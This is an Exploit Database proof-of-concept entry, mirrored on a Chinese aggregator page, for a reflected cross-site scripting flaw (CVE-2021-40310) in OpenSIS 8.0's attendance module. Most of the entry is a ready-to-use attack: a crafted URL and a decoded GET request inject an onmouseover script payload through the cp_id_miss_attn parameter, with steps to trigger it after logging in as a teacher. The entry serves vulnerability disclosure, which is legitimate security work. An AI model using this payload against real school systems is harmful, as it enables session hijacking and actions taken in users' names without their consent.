OpenSIS 8.0 – ‘cp_id_miss_attn’ Reflected Cross-Site Scripting (XSS)

• Exploit Database
• 38 阅读

• 作者： Eric Salario
  日期： 2021-09-29
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50352/

• # Exploit Title: OpenSIS 8.0 - 'cp_id_miss_attn' Reflected Cross-Site Scripting (XSS)
  # Date: 9/24/2021
  # Exploit Author: Eric Salario
  # Vendor Homepage: http://www.os4ed.com/
  # Software Link: https://opensis.com/download
  # Version: 8.0
  # Tested on: Windows, Linux
  # CVE : CVE-2021-40310
  
  OpenSIS Community Edition version 8.0 is affected by a cross-site scripting (XSS) vulnerability in the TakeAttendance.php via the cp_id_miss_attn parameter.
  
  1. Login as "teacher".
  
  2. Navigate to (take attendance): http://demo.opensis.com/ForExport.php?modname=users/TeacherPrograms.php?include=attendance/TakeAttendance.php&modfunc=attn&attn=miss&from_dasboard=1&date=Aug/9/2021&cp_id_miss_attn=rotf7%20onmouseover%3dalert(document.domain)%20style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%20z3as5&cpv_id_miss_attn=23&ajax=true&include=attendance/TakeAttendance.php&month_date=Aug&day_date=9&year_date=2021&table=0&page=&LO_sort=&LO_direction=&LO_search=&LO_save=1&_openSIS_PDF=true
  
  Decoded request:
  
  GET /ForExport.php?modname=users/TeacherPrograms.php?include=attendance/TakeAttendance.php&modfunc=attn&attn=miss&from_dasboard=1&date=Aug/9/2021&cp_id_miss_attn=rotf7 onmouseover=alert(document.domain) style=position:absolute;width:100%;height:100%;top:0;left:0; z3as5&cpv_id_miss_attn=23&ajax=true&include=attendance/TakeAttendance.php&month_date=Aug&day_date=9&year_date=2021&table=0&page=&LO_sort=&LO_direction=&LO_search=&LO_save=1&_openSIS_PDF=true HTTP/1.1
  
  3. XSS triggers
  
  PoC Video: https://www.youtube.com/watch?v=aPKPUDmmYpc